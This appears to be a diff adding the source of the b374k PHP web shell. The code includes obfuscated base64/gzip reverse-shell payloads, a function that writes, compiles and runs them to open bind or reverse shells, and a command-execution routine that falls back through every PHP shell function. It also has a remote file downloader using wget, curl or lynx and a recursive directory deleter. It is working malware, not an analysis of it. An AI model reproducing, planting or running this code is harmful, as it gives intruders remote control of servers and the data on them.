Ph/+WvMZenPY8u6+U8tiXsCnwc0QO+avTqaK1DfSBCaM64d5++ll2RbLzXDVJppLE6ibtvcrj6Gtewj8amT8iZ5OlZHiv/RwvyF/nUhBZ5vyjwJY1zZapou6G2hlWaOnuRAXTO2PcWWr2l6y7bOz48O/Qa3+FUFrpleoF/g1v4DjvKd24cdtr8SzwQfK5djhEKD8WZEj5yAtzdZxCMm/pSCQ040WsoWGszbnaaLBhBYZHrwBxtS1ls0OH5LmDp5yIEqewdKnZ/Ltvvqpg28f5VomULgJdt4UyH9LKKdcGgNflNMk0zSbGqbl4ADEI/3B3+ulx/LVsSMRUknFc8U6Z8UD6UEZfTW7nKS0kCJH/BraF0V0jOW8g/Yhnf5x+V2iZSu1IuDj8pvOKCTbBf20ozieLS6J25Ug1bErdCYuxBpMdYgyKXNo4M0QN27O+iQ5sgJrF9/7KB+8V3PVk/vz8XR4cu9xkhj3qqbdrB9Ecn1eZdk9G3Po2uvVnZ21lU20Kyc0FkYi6mkqRHHOxkvDXA1szPslb4YibIezoGlVspvbuuNS8kNrbRJepJypOYeVh2rNOrGZ8ZmQ0uyppwkeXW5ivSecjjavAqdjxhRklBG8qbPa4sSanTufLygH7pQ3P1sIuxB+36HjHp5KhYRvrO8qoQVYeKGtyPKK+B9llfWaTys5R9BKBWNhVLrKgajHR7qkrp7IT8jQWT4Tw/w0T56W5S476PfdndGxowgfnFR+khrD5EGrgwNn01e5XBHRVlCrTqhWtt7in1wMFFT50TKtqQgMKM3iIUo7yRjdO7Q4LNHWXeYsDviY1+vpsSgdOP4QbhWDdSfLzqssR/IOG4iZC1d14VX0c9TQWMcKVtFIPW3ycsf8vnJSz9UWo7ZlEzBuTmX62uFF4xUngXEYXi2fAgtf7S9Kb5FOk5st7gz6nebtGpTa1RQc6KfiwJrNjie4Y9QknPcJqUjB1yuHzAnYPNAOjKpuVHOI4JtmqxDoXxv05qL4/COT4o1GY1jcUgkZF/XPn9DA/qEcJmR7KPevLvx5eA5LHhqrn78QDfkM1vRDq0gH+GIUquHd0lJGgqFlN3wEHLuzMgqv4Xw5+lJ+zRziBTvS1mdPH1DS+not7rW0l/KSaNR8yD6uEedrCGHuAdCP5c+cZbvy+uyVUP4R9hlRYgmHAZDF2yYF136slbF+NS0pj/QJb3xh8RUaJwhPZN5p95KL8e/8+cNDz3pYKUujxp88PE10VDL47irIXYxV7JPdx1P83UMTmtf++BTk5t+eJzG4OK43ojPy8GYyVVZj96slC2hnVM8IGKq8fwpuTddOu/KZEmBzubX6kM0Was5cwM6xQZNo4zZ7fsla+BexemqM6U0xfN5SYok68D6qw78OtnCOf9ql0dNZa+J/+7Bq8tgwgCd0lSF889Meno98EILCtfib6q0CF9drmvvGozlVROXvtINLbTqvLEuJkeqczWzv2K+Fep1sOKlzZ19CLOf5G/B9ebGX+SNtD0kn5HhhYkXfMQdTQ7nn+9H7414Dez6dnB5XKlPE0RNFsxDhV4KcLV+sy7XeJl+4AZjb+XbdseT2FDKdyeymlbTNhJpmng1LiW5Q9Pudox+htbS2LnmE3bH/oLM4VKxcVY/Rq4HOJGTNA77z1ZU3yIpXtxTYm/SjeVp72aFtzIw7fcM3FvBrj4ssxe0Cx9jfEIz8ykpox0MgDnAmNSa5KV78rUSX3i9WCvdz1/K1srWw8dvVmoHUL1XNu2zlRc37cPeLDrYg3ePhkwKS1+IkDchkpHhUMN7SRqlk9axDICtzy88CEREhkW2f4HhSCCCwxdCHDCSI07ksjgSMIwhYCTgZV6gqfVC9FyqLup86/xeOGgNgsdlJrC2xUqcd2vj2DweELsyMTaCk8CVQByxP48hkXAkRMdKcv5mL1MjVObU8ClnZxektjuAuHyOi8hByhY6iTnwIDzFE7KcWdbruGJIyuCtkYakgPYMNlvsaN4BD4ILmCgJdydHGG/PdHAIQi5OnFq8h+Xk6YxwcznCMoIrYKILSyiI5ya4cD28F+NSEvhcQYKTZCsD5g8I+WwnNgNiiFxjFoBz/YVSHlvYCY8L7CDQHBJzOYkcUMA4BYrAIP/U1AfV/lHgYhBECflz5eOl9d2OTsuOg76+hbGxXEBZgI91iA1kCyuivewlfDxr69zdw6vZgsmdgJNlaMhy/4lBGN4QFBayOsgpMNgpKiDMzSlyZejKOVHBEU6zycZxY+s93I8V63/LM+oF1shKOUcsqCVx6HjHc6VtFFQAc+Njz7DHvIx9lxrullTx2pl2Qx9ReNYcLei5YHFwNG/anKE+W9d1f7wsrHecFaTLRs1eMG32XEHfyPwtOlmWe9C50zMsr7ikkr2qkZt3dns76lXfyJdOz/tlWI4paO/OGY5iLFqIssHNj4wDfMsCX5DjtN1Y3ElS9BFUSxyKrlOOBE4gzzjqHYfvwmWyNQgam02DhHyav5jDgDh0sbA0aROgJyEGJnMhwlh6xyb8Cq7ALogD6a3mV1ybxSD44/kMq1BWp/WluaRQhgQKFC8RE8K6cc8+C9lSHifYhme9NkmcgfuYuoEYCTG+EYUI4oV8Ie0hGJmSyw/g2rDKKs7WcMUp8ZHSCI4AMv78rNlqrWDrBnbJDyKIKxRcrpp9/QKvxYJM2uyF26Z7QAJ5bUimtRGLMN+HYSfPRfvzhBIO9nO8//GLhuTqcNGuMGxlZqS/LbEUDGizpBnqnCxI94fEvGDxDyabZkvuD2ROjPkamECpqCXvJaKN5eHXfHy/L2uNjU2BXiYtIvO4jgkSAxGy8Vb5M7lHl4AQzxfsFLq85thLYhkiQyhFRNz1Ps/maRx2y/P7eZtEGAemjpdB/YepAWcfBlNox4AwQq4mbxFOL37OwUMsbN2igJNZvF8wHD5LlHI/vnOLhJtwgHeulhyx3ih+32AkLRLc7oDr+faFNxTGKl7NlDS+Zz5kSezwuYJCszMVzm+2mkDMlCaD7oEy2VYBT/cXHvMia3BYI9kqhdjCJD1tj/0Udt2ZEorQ0TbZc79219sFYR+0HTYZRGJIhiSbM6Jr51ypOJNrTRY7It9QRHhR3bUOhwVWVBKG5L7TxppACtbN7yh5s9C5GMJgZ6nPuGxaTL6dR49z7pjY5ZM+jn5iavfjqdoYqmmDs9i+AUFK+Hgg325OHNWZWXXycgwYrqbLHML7X2EPcc3jzidZkOXoRW4PpltVQ0ANAPDvPWpcnbGMCqjqNPtheL0Gp87VXbEHE4TolGKUVvKhT4ad4sHK6Xb9D4hhA6JTMizVm1ElvW5t8j6UmHCrB6uNlo/AEKT48Y/+bX9SpCDtL8Y/JZPfQmZ9Bj7AsPwRQkV2kX/+lEjMRS7XFhUinehnwTCsViLljWgFRt6Clvejk35BPOwP1cJbFBNVcm03Xto3WiI1kfkhpBNKTPytPuytBtKu2w6TiJGLmp9VdUAcACgxeg0QRRmLVmW7Tm8H4gNd3oKFj7K130dyMUHYBqhL8ev64NGStfDRrVpQ645RoORNaM0b+GiyFlCW8LRSm20Ehmum/wHQo7ahI9fDT1W7T2u3SwZmyuLsM6PpUfRpMJqhCrCVbQN8bks/ygdk/ZgsGAb+n/6v0/FCAGAX/hn7XqvL/oKVafU9f8Fqtbq68L/O26rFn2n5vZbHtYwuAoBZRV9t4MzoPDN6zoyrAiNWB4Z6uDsHhIYCtIB1NHrIjMKXJLLEkPP082J9pHvsDAoAoUIGO5TLFDPEKTQA0N4/2quJpb2sxByJBABmnhJaDOKwoN91Gk/70vhdWyHmcLSZpm+y6eDfAoFwEUcw8/TR5o3lCpkAwOQK2P87zvzf"; +$rs_php = "7VRNj9s2ED3bv0JRCayEai3LDhBgXW4u7bFA0BboIbsRZIqyCEsiy6FqB9397x2Skj82zm6QBr20MGxTM5w3X0/vh7eqVtPvgtoYBTdpymTJZxspNw2fMdmmKl0v37zeXkPNmyadcq2lzjVXUhvRbaJ5vJoCN7kRLc8b0QrjTHKdi1Y1ggmTV00PdYTGKTGF3nBDiQZ/Wo0moHyvGkwdhUGYDEYMIQxotly+wdOuoF3fNHjihxPUNMRArCX47adffqZ7w3W7evdrRq/uyLvff7y9Wg1utK3StehSqINrEWJsS0PXWeA6C24CJruOM8PLuw79U1FFTPadicYSY0qz+K/phChKxvInBCsI7b9BONGVeH6c8gb4pfDFeTi8n997iIMhux+xCrZ1WLaOqu+YEbLL+V6AgehKsc40eSX19ir2mKKkR6Md9gTjnJleZzHGmSg7sXrLfLAoCWKf4xpBlFF8HuErwJKG/lw6oGA0L9ocJNvi9oHrP7mOQsMUUmg+c5+bcEZUQpAxnXR/GGMTjqEDa2SPM4Jk6Yoh7AlywRhX9sJQKnqNbOQOs0G/xqcI6Zv3XdHyKE7myTLG+sOd6Fyhk2qnheERYQlpZzhhtsMGZ+FtaOEmu1o06FSvKK0K3JkLsQuq7DIwyt1yE9J8k7eFYXUUpqy8C6L3H+7g/vs4FUhX7FLr2EdPSFkiwbVfpY8WkJdCR+iJY1aPR+8mkp7W5YyP9mcgkdGiPe2aKNeh3U8YPDwEn/H/0aM/DtY4y+1qhAswGd/bjjEXsnz2SeaTeUlXoC2lYo0EPo5jfHIbQbcFfjpqd5GUQAuti4/RnN76Q6iE4mES6jBOsqfGHRoXF4weTGmqtGS5VLzD5HWC8Dh5oZwbB/UKp6w5yF4z2yHu48j6U86tG2SWlS4bjG9gMn/+RvbijcWzN9jg9GQzuh9oZt9rLis71ocHf/Lp4vi4NaKLYYZ2rkM5Q1JPoEPOBrUrwvsJKiW+bkViNfJAYNHlRxxdHMgqaIXxpTMzGDg5rnIYEBHxkZZnWGNBlwBH3yeo7AXAxTOAi5cBH885ekLe8ejbOn/OnjwP43WUG83aM/6g714UrVAPolhZ0fIErZ0q8A6/o7Z9vXrBV6kX/GfVCy6p1+f0Cv7Xq7Mb8JJewZfpFXwjvYLLagD/ml7Bt9Yr+BK9+sci9fZ2+jc="; +$favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII="; +$style = "rVbbjpswEH3vVyBFldoKEBCa3YX3fetjP8CACVbBRmboJov493rAEHNJVpVWfkEwnsuZM2f40eWCg5OTipXX6HfScmitX4ILu6GS5X0ismuXkPTPWYqWZ9HB87x4uNKwdxr5QX2JU1EKGR3yPB+/vFF2LiAKPa8vZJcImVEZ+fXFakTJMusQBEFPOn0rTJ+PJI+BXsDJaCokASZ4xAWnPYkK8ZfKyfT19bWvJe1qkmWMnyPPeq4vfS5k1WWsqUtyjRgvmboIJCmpBYVdd2krG3U5ozlpS+gPFWF8UZDv+7FTiXdnTNSRJGNtE/meqmzn1RvLoFCP3td4ykNhMGRyKChR5t1QCynZmUclzSGuiDwzHnnzBW8ytSDrHnwt/O4GdYDRFbbJHwYOSMIbrDySAgjQb45/dI9PGT1/H4t5ZPAwokVsl15qBTgtWQNjB6y5XarJCkPK2w2Gk1cL4QgRDkkbBXn3H+BuuaLpgV11ipFX/gktV9F1eoSQWyIDP+YiQ90lF0tlPBeamQ72aCekdnMyXGBl6BYzGP1AUjYWyE6nFqggscILWEpKTYGKZVlJe/dMrgpag846jjkyT2pkBpNP6XNJAVR9TU1SnX3vYusqtmhe8IIn/ngedxyupeBT8t4hTLjhC77ZEHnu8Vimlg+z2OMJz/08P0pz/t67jNctvNtuLUVVg+3CBYikZDMYmtTeVEAiAERlMu74gueBrBoE7HW8bsObKb6hUJqWxycPL44JJy10q0iLjF/wrNiwq+G3QcNpn0Sj2xFIbIs3Wygx2VX7+bsSxbtQYVxTDPYmDkQdL3fEzXWxxm1RPHqfbp4mLs135Q6f/Gc8vdvQSu3OK5s30TAwO0rrovRYw4IyoVqS+/RIC7XTAdTZ8fPYYHRd2KrKbY5boRnNH4OtrYrA3Gop5UoHTL7+XLMoxbMWjNNmio032/A79S4U3ffmouf9lKapUlBG33K2C/A+o4yVMXB5cvAhFXdgNolpLo6F41RBp0Ccf2V8f1auayIun7Iz7+MWLoJhc+/3IAxXWrDltKWHjAtg+YJ5+op2gL+O2/av51H7Py7orTO2gjnOreUecjkXApa/XhI9mhxFsHY2mPZijv5qw9sjTurJINRIPFuPhz89yIUA9F/+AQ=="; +// http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables sortable +$sortable_js = "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"; + +// make link for folder $cwd and all of its parent folder +function swd($p){ + global $s_self; + $ps = explode(DIRECTORY_SEPARATOR,$p); + $pu = ""; + for($i = 0 ; $i < sizeof($ps)-1 ; $i++){ + $pz = ""; + for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR; + $pu .= "".$ps[$i]." ".DIRECTORY_SEPARATOR." "; + } + return trim($pu); +} +// htmlspecialchars, < > " +function hss($t){ + $n = array(">","<","\""); + $y = array(">", "<", """); + return str_replace($n,$y,$t); +} +// remove
tags +function rp($t){ + return trim(str_replace("
","",$t)); +} +// replace spaces with underscore ( _ ) +function cs($t){ + return str_replace(" ","_",$t); +} +// strip slashes,trim and urldecode +function ss($t){ + return (!get_magic_quotes_gpc())? trim(urldecode($t)) : trim(urldecode(stripslashes($t))); +} +// only strip slashes +function ssc($t){ + return (!get_magic_quotes_gpc())? trim($t) : trim(stripslashes($t)); +} +// bind and reverse shell +function rs($rstype,$rstarget,$rscode){ + //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php + //resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php + $result = ""; + $fpath = ""; + $fc = gzinflate(base64_decode($rscode)); + + $errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one"; + $errgcc = "Unable to compile using gcc"; + + $split = explode("_",$rstype); + $method = $split[0]; + $lang = $split[1]; + if($lang=="py" || $lang=="pl" || $lang=="rb"){ + if($lang=="py") $runlang = "python"; + elseif($lang=="pl") $runlang = "perl"; + elseif($lang=="rb") $runlang = "ruby"; + $fpath = "b374k_rs.".$lang; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $result = exe("chmod +x ".$fpath); + $result = exe($runlang." ".$fpath." ".$rstarget); + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($lang=="c"){ + $fpath = "b374k_rs"; + if(is_file($fpath)) unlink($fpath); + if(is_file($fpath.".c")) unlink($fpath.".c"); + if($file=fopen($fpath.".c","w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath.".c")){ + $result = exe("gcc ".$fpath.".c -o ".$fpath); + if(is_file($fpath)){ + $result = exe("chmod +x ".$fpath); + $result = exe("./".$fpath." ".$rstarget); + } + else $result = $errgcc; + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($lang=="win"){ + $fpath = "b374k_rs.exe"; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $result = exe($fpath." ".$rstarget); + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($lang=="php"){ + $result = eval("?>".$fc); + } + if(is_file($fpath)) unlink($fpath); + if(is_file($fpath.".c")) unlink($fpath.".c"); + return $result; +} +// format bit +function ts($s){ + if($s<=0) return 0; + $w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); + $e = floor(log($s)/log(1024)); + return sprintf('%.2f '.$w[$e], ($s/pow(1024, floor($e)))); +} +// get file size +function gs($f){ + $s = @filesize($f); + if($s !== false){ + if($s<=0) return 0; + return ts($s); + } + else return "???"; +} +// get file permissions +function gp($f){ + if($m=@fileperms($f)){ + $p = 'u'; + if(($m & 0xC000) == 0xC000)$p = 's'; + elseif(($m & 0xA000) == 0xA000)$p = 'l'; + elseif(($m & 0x8000) == 0x8000)$p = '-'; + elseif(($m & 0x6000) == 0x6000)$p = 'b'; + elseif(($m & 0x4000) == 0x4000)$p = 'd'; + elseif(($m & 0x2000) == 0x2000)$p = 'c'; + elseif(($m & 0x1000) == 0x1000)$p = 'p'; + $p .= ($m & 00400) ? 'r' : '-'; + $p .= ($m & 00200) ? 'w' : '-'; + $p .= ($m & 00100) ? 'x' : '-'; + $p .= ($m & 00040) ? 'r' : '-'; + $p .= ($m & 00020) ? 'w' : '-'; + $p .= ($m & 00010) ? 'x' : '-'; + $p .= ($m & 00004) ? 'r' : '-'; + $p .= ($m & 00002) ? 'w' : '-'; + $p .= ($m & 00001) ? 'x' : '-'; + return $p; + } + else return "???????????"; +} +// shell command +function exe($c){ + $out = ""; + $c = $c." 2>&1"; + + if(is_callable('system')) { + ob_start(); + @system($c); + $out = ob_get_contents(); + ob_end_clean(); + if(!empty($out)) return $out; + } + if(is_callable('shell_exec')){ + $out = @shell_exec($c); + if(!empty($out)) return $out; + } + if(is_callable('exec')) { + @exec($c,$r); + if(!empty($r)) foreach($r as $s) $out .= $s; + if(!empty($out)) return $out; + } + if(is_callable('passthru')) { + ob_start(); + @passthru($c); + $out = ob_get_contents(); + ob_end_clean(); + if(!empty($out)) return $out; + } + if(is_callable('proc_open')) { + $descriptorspec = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w") + ); + $proc = @proc_open($c, $descriptorspec, $pipes, getcwd(), array()); + if (is_resource($proc)) { + while ($si = fgets($pipes[1])) { + if(!empty($si)) $out .= $si; + } + while ($se = fgets($pipes[2])) { + if(!empty($se)) $out .= $se; + } + } + @proc_close($proc); + if(!empty($out)) return $out; + } + if(is_callable('popen')){ + $f = @popen($c, 'r'); + if($f){ + while(!feof($f)){ + $out .= fread($f, 2096); + } + pclose($f); + } + if(!empty($out)) return $out; + } + return ""; +} +// add slash to the end of given path +function cp($p){ + if(is_dir($p)){ + $x = DIRECTORY_SEPARATOR; + while(substr($p,-1) == $x) $p = rtrim($p,$x); + return $p.$x; + } + return $p; +} +// delete dir and all of its content (no warning !) xp +function rmdirs($d){ + $f = glob($d . '*', GLOB_MARK); + foreach($f as $z){ + if(is_dir($z)) rmdirs($z); + else unlink($z); + } + if(is_dir($d)) rmdir($d); +} +// get array of all files from given directory +function getallfiles($dir){ + $f = glob($dir . '*'); + for($i = 0; $i < count($f); $i++){ + if(is_dir($f[$i])) { + $a = glob($f[$i].DIRECTORY_SEPARATOR.'*'); + $f = array_merge($f, $a); + } + } + return $f; +} +// which command +function xwhich($pr){ + $p = exe("which $pr"); + if(trim($p)!="") { return trim($p); } else { return trim($pr); } +} +// download file from internet +function dlfile($u,$p){ + $n = basename($u); + + // try using php functions + if($t = @file_get_contents($u)){ + if(is_file($p)) unlink($p);; + if($f=fopen($p,"w")){ + fwrite($f,$t); + fclose($f); + if(is_file($p)) return true; + } + } + // using wget + exe(xwhich('wget')." ".$u." -O ".$p); + if(is_file($p)) return true; + + // try using lwp-download + exe(xwhich('lwp-download')." ".$u." ".$p); + if(is_file($p)) return true; + + // try using lynx + exe(xwhich('lynx')." -source ".$u." > ".$p); + if(is_file($p)) return true; + + // try using curl + exe(xwhich('curl')." ".$u." -o ".$p); + if(is_file($p)) return true; + + return false; +} +// find writable dir +function get_writabledir(){ + if(is_writable(".")) $d = ".".DIRECTORY_SEPARATOR; + else{ + if(!$d = getenv("TMP")) if(!$d = getenv("TEMP")) if(!$d = getenv("TMPDIR")){ + if(is_writable("/tmp")) $d = "/tmp/"; + else $d = getcwd().DIRECTORY_SEPARATOR; + } + } + return $d; +} +// zip function +function zip($src, $dest){ + if(!extension_loaded('zip') || !file_exists($src)) return false; + + if(class_exists("ZipArchive")){ + $zip = new ZipArchive(); + if(!$zip->open($dest, 1)) return false; + + $src = str_replace('\\', '/', $src); + if(is_dir($src)){ + $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($src), 1); + foreach($files as $file){ + $file = str_replace('\\', '/', $file); + if(in_array(substr($file, strrpos($file, '/')+1), array('.', '..'))) continue; + if (is_dir($file) === true) $zip->addEmptyDir(str_replace($src . '/', '', $file . '/')); + else if (is_file($file) === true) $zip->addFromString(str_replace($src . '/', '', $file), @file_get_contents($file)); + } + } + elseif(is_file($src) === true) $zip->addFromString(basename($src), @file_get_contents($src)); + $zip->close(); + return true; + } +} +// check shell permission to access program +function check_access($lang){ + $s = 0; + switch($lang){ + case "python": + $cek = strtolower(exe("python -h")); + if(strpos($cek,"usage")!==false) $s = 1; + break; + case "perl": + $cek = strtolower(exe("perl -h")); + if(strpos($cek,"usage")!==false) $s = 1; + break; + case "ruby": + $cek = strtolower(exe("ruby -h")); + if(strpos($cek,"usage")!==false) $s = 1; + break; + case "gcc": + $cek = strtolower(exe("gcc --help")); + if(strpos($cek,"usage")!==false) $s = 1; + break; + case "tar": + $cek = strtolower(exe("tar --help")); + if(strpos($cek,"usage")!==false) $s = 1; + break; + case "java": + $cek = strtolower(exe("javac --help")); + if(strpos($cek,"usage")!==false){ + $cek = strtolower(exe("java -h")); + if(strpos($cek,"usage")!==false) $s = 1; + } + break; + } + return $s; +} +// find available archiver +function get_archiver_available(){ + global $s_self, $s_tar; + $dlfile = ""; + $avail_arc = array("raw"=>"raw"); + + if(class_exists("ZipArchive")){ + $avail_arc["ziparchive"] = "zip"; + } + if($s_tar){ + $avail_arc["tar"] = "tar"; + $avail_arc["targz"] = "tar.gz"; + } + + $option_arc = ""; + foreach($avail_arc as $t=>$u){ + $option_arc .= ""; + } + + $dlfile .= "
+ + +
+ "; + return $dlfile; +} +// explorer, return a table of given dir +function showdir($cwd){ + global $s_self; + + $posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + $win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false; + + $fname = array(); + $dname = array(); + + if(function_exists("scandir") && $dh = @scandir($cwd)){ + foreach($dh as $file){ + if(is_dir($file)) $dname[] = $file; + elseif(is_file($file)) $fname[] = $file; + } + } + else{ + if($dh = @opendir($cwd)){ + while($file = readdir($dh)){ + if(is_dir($file)) $dname[] = $file; + elseif(is_file($file))$fname[] = $file; + } + closedir($dh); + } + } + + sort($fname); + sort($dname); + $list = array_merge($dname,$fname); + + if($win){ + //check if this root directory + chdir(".."); + if(cp(getcwd())==cp($cwd)){ + array_unshift($list, "."); + } + chdir($cwd); + } + + $path = explode(DIRECTORY_SEPARATOR,$cwd); + $tree = sizeof($path); + + $parent = ""; + if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; + else $parent = $cwd; + + $owner_html = (!$win && $posix) ? "owner:group" : ""; + $buff = " + + ".$owner_html." + "; + + $arc = get_archiver_available(); + foreach($list as $l){ + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($l)); + $group = posix_getgrgid(filegroup($l)); + $owner = $name['name'].":".$group['name']; + $owner_html = ""; + } + + $lhref = ""; + $lname = ""; + $laction = ""; + if(is_dir($l)){ + if($l=="."){ + $lhref = 